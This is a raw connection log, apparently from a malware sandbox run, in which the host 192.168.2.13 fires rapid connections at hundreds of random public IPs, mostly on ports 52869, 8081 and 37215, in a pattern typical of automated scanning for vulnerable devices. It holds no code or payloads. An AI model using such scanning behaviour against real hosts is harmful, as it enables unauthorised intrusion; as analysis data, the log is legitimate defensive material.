Jul 20, 2024 23:05:42.967356920 CEST	43695	52869	192.168.2.13	181.146.208.210
Jul 20, 2024 23:05:42.967356920 CEST	43695	52869	192.168.2.13	126.97.14.80
Jul 20, 2024 23:05:42.967658997 CEST	43695	52869	192.168.2.13	141.109.75.38
Jul 20, 2024 23:05:42.967659950 CEST	43439	8081	192.168.2.13	189.218.204.214
Jul 20, 2024 23:05:42.967659950 CEST	43695	52869	192.168.2.13	136.238.219.134
Jul 20, 2024 23:05:42.967659950 CEST	43695	52869	192.168.2.13	151.204.143.244
Jul 20, 2024 23:05:42.967659950 CEST	43439	8081	192.168.2.13	110.203.115.173
Jul 20, 2024 23:05:42.967659950 CEST	43695	52869	192.168.2.13	39.201.186.201
Jul 20, 2024 23:05:42.967659950 CEST	43695	52869	192.168.2.13	104.75.109.195
Jul 20, 2024 23:05:42.968502998 CEST	21679	80	192.168.2.13	95.59.222.128
Jul 20, 2024 23:05:42.968502998 CEST	21679	80	192.168.2.13	95.125.201.25
Jul 20, 2024 23:05:42.968511105 CEST	43695	52869	192.168.2.13	121.210.4.137
Jul 20, 2024 23:05:42.968511105 CEST	44719	37215	192.168.2.13	157.139.184.79
Jul 20, 2024 23:05:42.968868017 CEST	43695	52869	192.168.2.13	23.36.177.182
Jul 20, 2024 23:05:42.968868017 CEST	43695	52869	192.168.2.13	101.187.13.252
Jul 20, 2024 23:05:42.968868017 CEST	43695	52869	192.168.2.13	124.245.233.46
Jul 20, 2024 23:05:42.968868017 CEST	43695	52869	192.168.2.13	82.133.178.243
Jul 20, 2024 23:05:42.968868017 CEST	43695	52869	192.168.2.13	12.103.224.93
Jul 20, 2024 23:05:42.968868971 CEST	43695	52869	192.168.2.13	201.9.2.115
Jul 20, 2024 23:05:42.968868971 CEST	43695	52869	192.168.2.13	90.204.174.177
Jul 20, 2024 23:05:42.968868971 CEST	43695	52869	192.168.2.13	61.119.32.188
Jul 20, 2024 23:05:42.972832918 CEST	43439	8081	192.168.2.13	130.69.8.99
Jul 20, 2024 23:05:42.972832918 CEST	43439	8081	192.168.2.13	49.213.182.90
Jul 20, 2024 23:05:42.972832918 CEST	43439	8081	192.168.2.13	158.1.91.162
Jul 20, 2024 23:05:42.972832918 CEST	43439	8081	192.168.2.13	150.241.45.88
Jul 20, 2024 23:05:42.972832918 CEST	43439	8081	192.168.2.13	134.231.248.130
Jul 20, 2024 23:05:42.972832918 CEST	43695	52869	192.168.2.13	106.230.174.14
Jul 20, 2024 23:05:42.972966909 CEST	43695	52869	192.168.2.13	213.239.0.27
Jul 20, 2024 23:05:42.972966909 CEST	43695	52869	192.168.2.13	82.12.69.219
Jul 20, 2024 23:05:42.972966909 CEST	43695	52869	192.168.2.13	5.199.108.158
Jul 20, 2024 23:05:42.972966909 CEST	43695	52869	192.168.2.13	133.65.135.99
Jul 20, 2024 23:05:42.972966909 CEST	43695	52869	192.168.2.13	25.254.122.214
Jul 20, 2024 23:05:42.972966909 CEST	43695	52869	192.168.2.13	219.37.148.4
Jul 20, 2024 23:05:42.972966909 CEST	43695	52869	192.168.2.13	160.130.22.25
Jul 20, 2024 23:05:42.972966909 CEST	43695	52869	192.168.2.13	181.102.180.63
Jul 20, 2024 23:05:42.973690987 CEST	43439	8081	192.168.2.13	125.235.244.170
Jul 20, 2024 23:05:42.973690987 CEST	43439	8081	192.168.2.13	145.141.158.92
Jul 20, 2024 23:05:42.973690987 CEST	43439	8081	192.168.2.13	139.223.104.178
Jul 20, 2024 23:05:42.973690987 CEST	43439	8081	192.168.2.13	199.112.81.246
Jul 20, 2024 23:05:42.973691940 CEST	43439	8081	192.168.2.13	57.229.203.107
Jul 20, 2024 23:05:42.973691940 CEST	43439	8081	192.168.2.13	186.83.109.114
Jul 20, 2024 23:05:42.973691940 CEST	43439	8081	192.168.2.13	107.208.94.59
Jul 20, 2024 23:05:42.973691940 CEST	43439	8081	192.168.2.13	61.251.47.138
Jul 20, 2024 23:05:42.974684000 CEST	44719	37215	192.168.2.13	157.51.241.77
Jul 20, 2024 23:05:42.974684000 CEST	43695	52869	192.168.2.13	17.167.239.49
Jul 20, 2024 23:05:42.974684000 CEST	43695	52869	192.168.2.13	44.194.56.186
Jul 20, 2024 23:05:42.974684000 CEST	44719	37215	192.168.2.13	157.0.73.248
Jul 20, 2024 23:05:42.974684000 CEST	43695	52869	192.168.2.13	57.57.237.2
Jul 20, 2024 23:05:42.974684000 CEST	43695	52869	192.168.2.13	184.11.213.53
Jul 20, 2024 23:05:42.974900961 CEST	43695	52869	192.168.2.13	44.76.49.187
Jul 20, 2024 23:05:42.974900961 CEST	43695	52869	192.168.2.13	217.220.59.11
Jul 20, 2024 23:05:42.974900961 CEST	43695	52869	192.168.2.13	185.244.8.162
Jul 20, 2024 23:05:42.974900961 CEST	43695	52869	192.168.2.13	188.56.104.207
Jul 20, 2024 23:05:42.974900961 CEST	44719	37215	192.168.2.13	157.102.72.60
Jul 20, 2024 23:05:42.975667953 CEST	43695	52869	192.168.2.13	72.89.88.22
Jul 20, 2024 23:05:42.975667953 CEST	44719	37215	192.168.2.13	157.15.207.151
Jul 20, 2024 23:05:42.975667953 CEST	43695	52869	192.168.2.13	196.90.159.147
Jul 20, 2024 23:05:42.975667953 CEST	44719	37215	192.168.2.13	197.85.11.121
Jul 20, 2024 23:05:42.975667953 CEST	44719	37215	192.168.2.13	57.82.29.20
Jul 20, 2024 23:05:42.975667953 CEST	44719	37215	192.168.2.13	157.33.160.150
Jul 20, 2024 23:05:42.975788116 CEST	43439	8081	192.168.2.13	199.120.4.96
Jul 20, 2024 23:05:42.975788116 CEST	43439	8081	192.168.2.13	180.253.244.144
Jul 20, 2024 23:05:42.975788116 CEST	43439	8081	192.168.2.13	193.221.242.136
Jul 20, 2024 23:05:42.975788116 CEST	43439	8081	192.168.2.13	223.83.115.203
Jul 20, 2024 23:05:42.975788116 CEST	43439	8081	192.168.2.13	154.100.85.220
Jul 20, 2024 23:05:42.975788116 CEST	43439	8081	192.168.2.13	115.16.203.134
Jul 20, 2024 23:05:42.975788116 CEST	43439	8081	192.168.2.13	222.118.182.128
Jul 20, 2024 23:05:42.975788116 CEST	43439	8081	192.168.2.13	97.36.86.247
Jul 20, 2024 23:05:42.977890015 CEST	43695	52869	192.168.2.13	129.209.175.108
Jul 20, 2024 23:05:42.977890015 CEST	43695	52869	192.168.2.13	76.100.224.114
Jul 20, 2024 23:05:42.977890015 CEST	43695	52869	192.168.2.13	195.195.0.208
Jul 20, 2024 23:05:42.977890015 CEST	43695	52869	192.168.2.13	101.55.215.235
Jul 20, 2024 23:05:42.977890015 CEST	43695	52869	192.168.2.13	52.149.92.238
Jul 20, 2024 23:05:42.979939938 CEST	43439	8081	192.168.2.13	8.46.10.105
Jul 20, 2024 23:05:42.979939938 CEST	43439	8081	192.168.2.13	167.248.67.16
Jul 20, 2024 23:05:42.979939938 CEST	43439	8081	192.168.2.13	194.194.183.169
Jul 20, 2024 23:05:42.979939938 CEST	43439	8081	192.168.2.13	47.44.23.215
Jul 20, 2024 23:05:42.979939938 CEST	43439	8081	192.168.2.13	8.134.236.12
Jul 20, 2024 23:05:42.979939938 CEST	43439	8081	192.168.2.13	216.77.147.81
Jul 20, 2024 23:05:42.979939938 CEST	43439	8081	192.168.2.13	159.111.23.139
Jul 20, 2024 23:05:42.979939938 CEST	43439	8081	192.168.2.13	204.141.97.239
Jul 20, 2024 23:05:42.980664968 CEST	43695	52869	192.168.2.13	60.128.151.169
Jul 20, 2024 23:05:42.980664968 CEST	43695	52869	192.168.2.13	185.66.43.17
Jul 20, 2024 23:05:42.980664968 CEST	43695	52869	192.168.2.13	189.247.81.28
Jul 20, 2024 23:05:42.980664968 CEST	43695	52869	192.168.2.13	1.217.0.185
Jul 20, 2024 23:05:42.980664968 CEST	43695	52869	192.168.2.13	189.113.72.139
Jul 20, 2024 23:05:42.980664968 CEST	43695	52869	192.168.2.13	148.222.94.245
Jul 20, 2024 23:05:42.980664968 CEST	43695	52869	192.168.2.13	63.73.217.114
Jul 20, 2024 23:05:42.980664968 CEST	43695	52869	192.168.2.13	155.76.196.132
Jul 20, 2024 23:05:42.981663942 CEST	44719	37215	192.168.2.13	41.133.190.153
Jul 20, 2024 23:05:42.981663942 CEST	43695	52869	192.168.2.13	153.81.254.40
Jul 20, 2024 23:05:42.981663942 CEST	43695	52869	192.168.2.13	131.223.219.210
Jul 20, 2024 23:05:42.981663942 CEST	44719	37215	192.168.2.13	157.137.95.250
Jul 20, 2024 23:05:42.981663942 CEST	44719	37215	192.168.2.13	41.114.145.26
Jul 20, 2024 23:05:42.982399940 CEST	43695	52869	192.168.2.13	176.230.150.16
Jul 20, 2024 23:05:42.982399940 CEST	43695	52869	192.168.2.13	209.21.206.85
Jul 20, 2024 23:05:42.982399940 CEST	43695	52869	192.168.2.13	156.179.158.121
Jul 20, 2024 23:05:42.982399940 CEST	43695	52869	192.168.2.13	95.39.133.169
Jul 20, 2024 23:05:42.982399940 CEST	43695	52869	192.168.2.13	191.27.19.70
Jul 20, 2024 23:05:42.982399940 CEST	43695	52869	192.168.2.13	34.173.177.129
Jul 20, 2024 23:05:42.982748985 CEST	43439	8081	192.168.2.13	144.238.42.219
Jul 20, 2024 23:05:42.982748985 CEST	43439	8081	192.168.2.13	42.138.237.235
Jul 20, 2024 23:05:42.982748985 CEST	43695	52869	192.168.2.13	9.39.25.145
Jul 20, 2024 23:05:42.982748985 CEST	43695	52869	192.168.2.13	145.59.179.22
Jul 20, 2024 23:05:42.982748985 CEST	44719	37215	192.168.2.13	41.209.58.254
Jul 20, 2024 23:05:42.982748985 CEST	43695	52869	192.168.2.13	218.233.190.228
Jul 20, 2024 23:05:42.982748985 CEST	43695	52869	192.168.2.13	36.127.152.84
Jul 20, 2024 23:05:42.983459949 CEST	44719	37215	192.168.2.13	129.142.127.42
Jul 20, 2024 23:05:42.983460903 CEST	43695	52869	192.168.2.13	58.208.98.238
Jul 20, 2024 23:05:42.983460903 CEST	43695	52869	192.168.2.13	128.182.131.194
Jul 20, 2024 23:05:42.983460903 CEST	44719	37215	192.168.2.13	216.6.157.184
Jul 20, 2024 23:05:42.983460903 CEST	44719	37215	192.168.2.13	41.2.14.96
Jul 20, 2024 23:05:42.983838081 CEST	43439	8081	192.168.2.13	191.39.217.83
Jul 20, 2024 23:05:42.984596014 CEST	43439	8081	192.168.2.13	185.112.52.81
Jul 20, 2024 23:05:42.984596014 CEST	43695	52869	192.168.2.13	131.25.90.191
Jul 20, 2024 23:05:42.984596014 CEST	43695	52869	192.168.2.13	147.234.248.111
Jul 20, 2024 23:05:42.984596968 CEST	43695	52869	192.168.2.13	132.196.14.218
Jul 20, 2024 23:05:42.984596968 CEST	43695	52869	192.168.2.13	104.209.167.72
Jul 20, 2024 23:05:42.984596968 CEST	43695	52869	192.168.2.13	77.33.109.42
Jul 20, 2024 23:05:42.984596968 CEST	43695	52869	192.168.2.13	114.201.32.61
Jul 20, 2024 23:05:42.984596968 CEST	43695	52869	192.168.2.13	177.198.190.22
Jul 20, 2024 23:05:42.985059977 CEST	43695	52869	192.168.2.13	82.49.166.68
Jul 20, 2024 23:05:42.985059977 CEST	44719	37215	192.168.2.13	197.113.127.109
Jul 20, 2024 23:05:42.985059977 CEST	44719	37215	192.168.2.13	197.240.248.177
Jul 20, 2024 23:05:42.985059977 CEST	43695	52869	192.168.2.13	177.191.241.43
Jul 20, 2024 23:05:42.985059977 CEST	44719	37215	192.168.2.13	41.205.1.188
Jul 20, 2024 23:05:42.985059977 CEST	44719	37215	192.168.2.13	157.178.55.13
Jul 20, 2024 23:05:42.985059977 CEST	43695	52869	192.168.2.13	167.89.114.99
Jul 20, 2024 23:05:42.985059977 CEST	43695	52869	192.168.2.13	120.145.43.184
Jul 20, 2024 23:05:42.987991095 CEST	43695	52869	192.168.2.13	59.207.57.16
Jul 20, 2024 23:05:42.987991095 CEST	43695	52869	192.168.2.13	218.8.199.218
Jul 20, 2024 23:05:42.987991095 CEST	43695	52869	192.168.2.13	196.38.58.45
Jul 20, 2024 23:05:42.987991095 CEST	43695	52869	192.168.2.13	217.194.245.226
Jul 20, 2024 23:05:42.988126993 CEST	43695	52869	192.168.2.13	31.151.34.3
Jul 20, 2024 23:05:42.988126993 CEST	43695	52869	192.168.2.13	179.155.201.69
Jul 20, 2024 23:05:42.988126993 CEST	43695	52869	192.168.2.13	175.173.145.122
Jul 20, 2024 23:05:42.988126993 CEST	43695	52869	192.168.2.13	169.205.145.132
Jul 20, 2024 23:05:42.988126993 CEST	43695	52869	192.168.2.13	201.15.223.196
Jul 20, 2024 23:05:42.988126993 CEST	43695	52869	192.168.2.13	119.179.174.4
Jul 20, 2024 23:05:42.988126993 CEST	43695	52869	192.168.2.13	87.248.86.246
Jul 20, 2024 23:05:42.988126993 CEST	43695	52869	192.168.2.13	20.23.243.102
Jul 20, 2024 23:05:42.988982916 CEST	43695	52869	192.168.2.13	66.78.237.144
Jul 20, 2024 23:05:42.988982916 CEST	44719	37215	192.168.2.13	197.160.52.143
Jul 20, 2024 23:05:42.988982916 CEST	43695	52869	192.168.2.13	154.71.27.238
Jul 20, 2024 23:05:42.988982916 CEST	43695	52869	192.168.2.13	31.219.175.68
Jul 20, 2024 23:05:42.988982916 CEST	43695	52869	192.168.2.13	87.112.239.159
Jul 20, 2024 23:05:42.988982916 CEST	44719	37215	192.168.2.13	41.155.39.147
Jul 20, 2024 23:05:42.988982916 CEST	44719	37215	192.168.2.13	197.230.102.6
Jul 20, 2024 23:05:42.988982916 CEST	44719	37215	192.168.2.13	197.35.42.213
Jul 20, 2024 23:05:42.989404917 CEST	44719	37215	192.168.2.13	197.18.37.228
Jul 20, 2024 23:05:42.989404917 CEST	44719	37215	192.168.2.13	9.208.243.43
Jul 20, 2024 23:05:42.989404917 CEST	43695	52869	192.168.2.13	80.24.36.106
Jul 20, 2024 23:05:42.989404917 CEST	44719	37215	192.168.2.13	157.130.9.228
Jul 20, 2024 23:05:42.989404917 CEST	43695	52869	192.168.2.13	63.144.125.115
Jul 20, 2024 23:05:42.989404917 CEST	43695	52869	192.168.2.13	97.82.105.63
Jul 20, 2024 23:05:42.989404917 CEST	44719	37215	192.168.2.13	83.253.161.255
Jul 20, 2024 23:05:42.989404917 CEST	43439	8081	192.168.2.13	68.111.100.67
Jul 20, 2024 23:05:42.990148067 CEST	44719	37215	192.168.2.13	88.120.138.89
Jul 20, 2024 23:05:42.990149021 CEST	44719	37215	192.168.2.13	157.155.244.83
Jul 20, 2024 23:05:42.990149021 CEST	43695	52869	192.168.2.13	148.27.235.67
Jul 20, 2024 23:05:42.990149021 CEST	44719	37215	192.168.2.13	197.177.152.51
Jul 20, 2024 23:05:42.990149021 CEST	43439	8081	192.168.2.13	108.144.210.100
Jul 20, 2024 23:05:42.990149021 CEST	43695	52869	192.168.2.13	122.217.85.115
Jul 20, 2024 23:05:42.990149021 CEST	43695	52869	192.168.2.13	109.69.158.195
Jul 20, 2024 23:05:42.990149021 CEST	44719	37215	192.168.2.13	128.45.67.248
Jul 20, 2024 23:05:42.990641117 CEST	43695	52869	192.168.2.13	149.99.135.221
Jul 20, 2024 23:05:42.990641117 CEST	43695	52869	192.168.2.13	131.168.94.2
Jul 20, 2024 23:05:42.990641117 CEST	55652	80	192.168.2.13	95.4.226.114
Jul 20, 2024 23:05:42.990641117 CEST	56426	80	192.168.2.13	95.227.200.110
Jul 20, 2024 23:05:42.990641117 CEST	43695	52869	192.168.2.13	8.3.158.203
Jul 20, 2024 23:05:42.990641117 CEST	43695	52869	192.168.2.13	211.34.140.164
Jul 20, 2024 23:05:42.990641117 CEST	43695	52869	192.168.2.13	182.11.68.244
Jul 20, 2024 23:05:42.992892981 CEST	43695	52869	192.168.2.13	66.26.133.125
Jul 20, 2024 23:05:42.992892981 CEST	43695	52869	192.168.2.13	145.211.248.21
Jul 20, 2024 23:05:42.992892981 CEST	43695	52869	192.168.2.13	140.66.110.118
Jul 20, 2024 23:05:42.992892981 CEST	43695	52869	192.168.2.13	187.177.170.77
Jul 20, 2024 23:05:42.992892981 CEST	43695	52869	192.168.2.13	138.219.240.186
Jul 20, 2024 23:05:42.992892981 CEST	43695	52869	192.168.2.13	187.140.72.191
Jul 20, 2024 23:05:42.992892981 CEST	43695	52869	192.168.2.13	97.78.4.42
Jul 20, 2024 23:05:42.994551897 CEST	44719	37215	192.168.2.13	197.227.224.34
Jul 20, 2024 23:05:42.994551897 CEST	43695	52869	192.168.2.13	8.52.114.212
Jul 20, 2024 23:05:42.994551897 CEST	43439	8081	192.168.2.13	1.113.165.106
Jul 20, 2024 23:05:42.994551897 CEST	43695	52869	192.168.2.13	89.82.30.26
Jul 20, 2024 23:05:42.994551897 CEST	43695	52869	192.168.2.13	207.108.106.48
Jul 20, 2024 23:05:42.994551897 CEST	44719	37215	192.168.2.13	41.255.183.29
Jul 20, 2024 23:05:42.994551897 CEST	44719	37215	192.168.2.13	157.10.180.45
Jul 20, 2024 23:05:42.995987892 CEST	43695	52869	192.168.2.13	155.212.15.122
Jul 20, 2024 23:05:42.995987892 CEST	43695	52869	192.168.2.13	66.201.161.132
Jul 20, 2024 23:05:42.995987892 CEST	43695	52869	192.168.2.13	130.133.78.229
Jul 20, 2024 23:05:42.995987892 CEST	43695	52869	192.168.2.13	40.53.225.75
Jul 20, 2024 23:05:42.995987892 CEST	43695	52869	192.168.2.13	32.89.148.88
Jul 20, 2024 23:05:42.995987892 CEST	43695	52869	192.168.2.13	132.245.156.197
Jul 20, 2024 23:05:42.995987892 CEST	43695	52869	192.168.2.13	161.112.8.36
Jul 20, 2024 23:05:42.995987892 CEST	43695	52869	192.168.2.13	98.151.155.0
Jul 20, 2024 23:05:42.997423887 CEST	44719	37215	192.168.2.13	157.205.95.182
Jul 20, 2024 23:05:42.997423887 CEST	43695	52869	192.168.2.13	8.4.36.142
Jul 20, 2024 23:05:42.997423887 CEST	43695	52869	192.168.2.13	200.136.135.115
Jul 20, 2024 23:05:42.997423887 CEST	43695	52869	192.168.2.13	18.197.57.103
Jul 20, 2024 23:05:42.997423887 CEST	44719	37215	192.168.2.13	41.216.26.234
Jul 20, 2024 23:05:42.997423887 CEST	43695	52869	192.168.2.13	107.214.181.57
Jul 20, 2024 23:05:42.997423887 CEST	43695	52869	192.168.2.13	38.103.10.41
Jul 20, 2024 23:05:42.997423887 CEST	44719	37215	192.168.2.13	41.127.172.128
Jul 20, 2024 23:05:42.997733116 CEST	43695	52869	192.168.2.13	169.218.43.223
Jul 20, 2024 23:05:42.997733116 CEST	43695	52869	192.168.2.13	190.130.47.79
Jul 20, 2024 23:05:42.997733116 CEST	43695	52869	192.168.2.13	182.34.44.124
Jul 20, 2024 23:05:42.997733116 CEST	43695	52869	192.168.2.13	82.101.192.156
Jul 20, 2024 23:05:42.997733116 CEST	43695	52869	192.168.2.13	170.146.93.159
Jul 20, 2024 23:05:42.997733116 CEST	43695	52869	192.168.2.13	178.98.181.49
Jul 20, 2024 23:05:42.997733116 CEST	43695	52869	192.168.2.13	179.222.98.13
Jul 20, 2024 23:05:42.997936964 CEST	43439	8081	192.168.2.13	14.253.157.55
Jul 20, 2024 23:05:42.997936964 CEST	44719	37215	192.168.2.13	197.188.242.230
Jul 20, 2024 23:05:42.997936964 CEST	44719	37215	192.168.2.13	183.59.85.224
Jul 20, 2024 23:05:42.997936964 CEST	43695	52869	192.168.2.13	85.223.177.47
Jul 20, 2024 23:05:42.997936964 CEST	44719	37215	192.168.2.13	41.80.94.82
Jul 20, 2024 23:05:42.997936964 CEST	43695	52869	192.168.2.13	160.171.80.71
Jul 20, 2024 23:05:42.997936964 CEST	43695	52869	192.168.2.13	152.248.166.27
Jul 20, 2024 23:05:42.997936964 CEST	44719	37215	192.168.2.13	123.68.44.135
Jul 20, 2024 23:05:42.998167038 CEST	44719	37215	192.168.2.13	157.17.85.100
Jul 20, 2024 23:05:42.998167038 CEST	32884	8081	192.168.2.13	20.191.46.135
Jul 20, 2024 23:05:42.998167038 CEST	43695	52869	192.168.2.13	66.192.200.111
Jul 20, 2024 23:05:42.998167038 CEST	43695	52869	192.168.2.13	96.139.124.159
Jul 20, 2024 23:05:42.998167038 CEST	44719	37215	192.168.2.13	157.79.30.96
Jul 20, 2024 23:05:42.998167038 CEST	43695	52869	192.168.2.13	126.245.229.137
Jul 20, 2024 23:05:42.998167038 CEST	44719	37215	192.168.2.13	157.153.185.166
Jul 20, 2024 23:05:42.998167038 CEST	44719	37215	192.168.2.13	57.99.253.78
Jul 20, 2024 23:05:42.999712944 CEST	43695	52869	192.168.2.13	124.148.203.199
Jul 20, 2024 23:05:42.999712944 CEST	43695	52869	192.168.2.13	193.131.171.67
Jul 20, 2024 23:05:42.999712944 CEST	43695	52869	192.168.2.13	79.231.155.222
Jul 20, 2024 23:05:42.999712944 CEST	43695	52869	192.168.2.13	68.32.243.101
Jul 20, 2024 23:05:42.999712944 CEST	43695	52869	192.168.2.13	221.20.233.34
Jul 20, 2024 23:05:42.999712944 CEST	43695	52869	192.168.2.13	217.209.199.203
Jul 20, 2024 23:05:42.999712944 CEST	43695	52869	192.168.2.13	78.5.213.247
Jul 20, 2024 23:05:42.999712944 CEST	43695	52869	192.168.2.13	205.2.21.251
Jul 20, 2024 23:05:43.001084089 CEST	43695	52869	192.168.2.13	187.32.168.161
Jul 20, 2024 23:05:43.001085043 CEST	43695	52869	192.168.2.13	157.163.35.157
Jul 20, 2024 23:05:43.001085043 CEST	43695	52869	192.168.2.13	37.30.22.16
Jul 20, 2024 23:05:43.001085043 CEST	43695	52869	192.168.2.13	221.135.248.99
Jul 20, 2024 23:05:43.001085043 CEST	43695	52869	192.168.2.13	191.187.186.238
Jul 20, 2024 23:05:43.001085043 CEST	43695	52869	192.168.2.13	73.128.253.128
Jul 20, 2024 23:05:43.001085043 CEST	43695	52869	192.168.2.13	80.157.5.176
Jul 20, 2024 23:05:43.001085043 CEST	43695	52869	192.168.2.13	90.219.141.110
Jul 20, 2024 23:05:43.004394054 CEST	43695	52869	192.168.2.13	84.203.138.60
Jul 20, 2024 23:05:43.004394054 CEST	43695	52869	192.168.2.13	134.183.245.76
Jul 20, 2024 23:05:43.004394054 CEST	43695	52869	192.168.2.13	133.228.0.255
Jul 20, 2024 23:05:43.004394054 CEST	43695	52869	192.168.2.13	160.138.136.243
Jul 20, 2024 23:05:43.004394054 CEST	43695	52869	192.168.2.13	173.43.81.14
Jul 20, 2024 23:05:43.004394054 CEST	43695	52869	192.168.2.13	77.17.166.115
Jul 20, 2024 23:05:43.004394054 CEST	43695	52869	192.168.2.13	203.198.173.236
Jul 20, 2024 23:05:43.004394054 CEST	43695	52869	192.168.2.13	203.92.41.121
Jul 20, 2024 23:05:43.005498886 CEST	44719	37215	192.168.2.13	157.156.21.16
Jul 20, 2024 23:05:43.005498886 CEST	43695	52869	192.168.2.13	115.63.234.1
Jul 20, 2024 23:05:43.005498886 CEST	44719	37215	192.168.2.13	157.59.0.132
Jul 20, 2024 23:05:43.005498886 CEST	44719	37215	192.168.2.13	64.165.194.79
Jul 20, 2024 23:05:43.005498886 CEST	43695	52869	192.168.2.13	223.84.78.174
Jul 20, 2024 23:05:43.005498886 CEST	43439	8081	192.168.2.13	130.190.186.230
Jul 20, 2024 23:05:43.006382942 CEST	44719	37215	192.168.2.13	197.152.54.186
Jul 20, 2024 23:05:43.006382942 CEST	44719	37215	192.168.2.13	202.148.15.48
Jul 20, 2024 23:05:43.006382942 CEST	43695	52869	192.168.2.13	139.237.162.14
Jul 20, 2024 23:05:43.006382942 CEST	43439	8081	192.168.2.13	103.57.230.141
Jul 20, 2024 23:05:43.006382942 CEST	44719	37215	192.168.2.13	157.156.112.9
Jul 20, 2024 23:05:43.006382942 CEST	44719	37215	192.168.2.13	41.119.35.52
Jul 20, 2024 23:05:43.006382942 CEST	44719	37215	192.168.2.13	157.5.246.151
Jul 20, 2024 23:05:43.006382942 CEST	44719	37215	192.168.2.13	157.36.183.86
Jul 20, 2024 23:05:43.006567955 CEST	43695	52869	192.168.2.13	34.200.92.88
Jul 20, 2024 23:05:43.006752014 CEST	44719	37215	192.168.2.13	41.205.147.115
Jul 20, 2024 23:05:43.006752014 CEST	43695	52869	192.168.2.13	18.121.28.212
Jul 20, 2024 23:05:43.006752014 CEST	43695	52869	192.168.2.13	54.4.235.224
Jul 20, 2024 23:05:43.006752014 CEST	43439	8081	192.168.2.13	196.205.125.141
Jul 20, 2024 23:05:43.006752014 CEST	43695	52869	192.168.2.13	93.189.236.124
Jul 20, 2024 23:05:43.006752014 CEST	44719	37215	192.168.2.13	41.171.10.129
Jul 20, 2024 23:05:43.007894039 CEST	43439	8081	192.168.2.13	99.183.133.77
Jul 20, 2024 23:05:43.007894039 CEST	44719	37215	192.168.2.13	157.227.112.107
Jul 20, 2024 23:05:43.007894039 CEST	43439	8081	192.168.2.13	155.23.58.115
Jul 20, 2024 23:05:43.007894039 CEST	44719	37215	192.168.2.13	197.188.93.254
Jul 20, 2024 23:05:43.007894039 CEST	44719	37215	192.168.2.13	197.141.236.144
Jul 20, 2024 23:05:43.007894039 CEST	44719	37215	192.168.2.13	41.158.169.10
Jul 20, 2024 23:05:43.007894039 CEST	44719	37215	192.168.2.13	157.221.151.71
Jul 20, 2024 23:05:43.007994890 CEST	43695	52869	192.168.2.13	108.162.80.93
Jul 20, 2024 23:05:43.007994890 CEST	43695	52869	192.168.2.13	36.90.25.192
Jul 20, 2024 23:05:43.007994890 CEST	43695	52869	192.168.2.13	217.51.43.48
Jul 20, 2024 23:05:43.007994890 CEST	43695	52869	192.168.2.13	23.42.144.28
Jul 20, 2024 23:05:43.007994890 CEST	43695	52869	192.168.2.13	216.114.52.191
Jul 20, 2024 23:05:43.007994890 CEST	43695	52869	192.168.2.13	1.180.201.49
Jul 20, 2024 23:05:43.007994890 CEST	43695	52869	192.168.2.13	23.144.175.205
Jul 20, 2024 23:05:43.007994890 CEST	43695	52869	192.168.2.13	223.239.95.215
Jul 20, 2024 23:05:43.010281086 CEST	43695	52869	192.168.2.13	204.36.181.161
Jul 20, 2024 23:05:43.010281086 CEST	43695	52869	192.168.2.13	103.243.7.39
Jul 20, 2024 23:05:43.010281086 CEST	43695	52869	192.168.2.13	179.53.117.226
Jul 20, 2024 23:05:43.010281086 CEST	43695	52869	192.168.2.13	71.52.73.94
Jul 20, 2024 23:05:43.010281086 CEST	43695	52869	192.168.2.13	42.85.52.56
Jul 20, 2024 23:05:43.010828018 CEST	43695	52869	192.168.2.13	18.248.92.133
Jul 20, 2024 23:05:43.010828018 CEST	44719	37215	192.168.2.13	197.160.86.174
Jul 20, 2024 23:05:43.010828018 CEST	43695	52869	192.168.2.13	203.78.134.75
Jul 20, 2024 23:05:43.010828018 CEST	43439	8081	192.168.2.13	25.69.27.108
Jul 20, 2024 23:05:43.010828018 CEST	43695	52869	192.168.2.13	27.146.217.168
Jul 20, 2024 23:05:43.010828018 CEST	43439	8081	192.168.2.13	100.141.37.17
Jul 20, 2024 23:05:43.010828018 CEST	43695	52869	192.168.2.13	58.13.141.200
Jul 20, 2024 23:05:43.010828018 CEST	43439	8081	192.168.2.13	111.106.188.31
Jul 20, 2024 23:05:43.011708975 CEST	43695	52869	192.168.2.13	90.114.150.177
Jul 20, 2024 23:05:43.011708975 CEST	44719	37215	192.168.2.13	142.187.163.247
Jul 20, 2024 23:05:43.011708975 CEST	44719	37215	192.168.2.13	41.1.78.202
Jul 20, 2024 23:05:43.011708975 CEST	43695	52869	192.168.2.13	54.151.32.197
Jul 20, 2024 23:05:43.011708975 CEST	43695	52869	192.168.2.13	68.248.48.49
Jul 20, 2024 23:05:43.011708975 CEST	44719	37215	192.168.2.13	41.58.247.186
Jul 20, 2024 23:05:43.011708975 CEST	43439	8081	192.168.2.13	185.214.203.241
Jul 20, 2024 23:05:43.012784958 CEST	44719	37215	192.168.2.13	157.212.131.188
Jul 20, 2024 23:05:43.012784958 CEST	44719	37215	192.168.2.13	208.119.172.29
Jul 20, 2024 23:05:43.012784958 CEST	43439	8081	192.168.2.13	99.70.29.112
Jul 20, 2024 23:05:43.012784958 CEST	44719	37215	192.168.2.13	41.188.170.216
Jul 20, 2024 23:05:43.012784958 CEST	43695	52869	192.168.2.13	76.198.183.7
Jul 20, 2024 23:05:43.012784958 CEST	44719	37215	192.168.2.13	197.212.6.224
Jul 20, 2024 23:05:43.012784958 CEST	43695	52869	192.168.2.13	182.141.184.224
Jul 20, 2024 23:05:43.012784958 CEST	44719	37215	192.168.2.13	95.232.215.63
Jul 20, 2024 23:05:43.013293982 CEST	43695	52869	192.168.2.13	136.11.155.8
Jul 20, 2024 23:05:43.013293982 CEST	43695	52869	192.168.2.13	48.32.125.72
Jul 20, 2024 23:05:43.013293982 CEST	44719	37215	192.168.2.13	145.130.201.231
Jul 20, 2024 23:05:43.013293982 CEST	44719	37215	192.168.2.13	41.158.40.212
Jul 20, 2024 23:05:43.013293982 CEST	43695	52869	192.168.2.13	9.95.49.135
Jul 20, 2024 23:05:43.013293982 CEST	44719	37215	192.168.2.13	197.141.221.126
Jul 20, 2024 23:05:43.013293982 CEST	43695	52869	192.168.2.13	213.179.162.190
Jul 20, 2024 23:05:43.013708115 CEST	43439	8081	192.168.2.13	79.62.209.143
Jul 20, 2024 23:05:43.013708115 CEST	43439	8081	192.168.2.13	165.5.97.131
Jul 20, 2024 23:05:43.013708115 CEST	43439	8081	192.168.2.13	158.144.180.209
Jul 20, 2024 23:05:43.013997078 CEST	43695	52869	192.168.2.13	206.115.178.76
Jul 20, 2024 23:05:43.013997078 CEST	43695	52869	192.168.2.13	155.125.167.15
Jul 20, 2024 23:05:43.013997078 CEST	43695	52869	192.168.2.13	121.218.237.133
